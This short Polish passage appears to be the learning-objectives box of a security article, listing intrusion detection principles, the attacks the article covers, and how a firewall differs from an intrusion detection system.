•   zasady  działania  systemów  wykrywania  wła-

mań

•   na czym polegają ataki wymienione w artykule
•   znać  różnicę  pomiędzy  systemem  firewall 

a systemem wykrywania włamań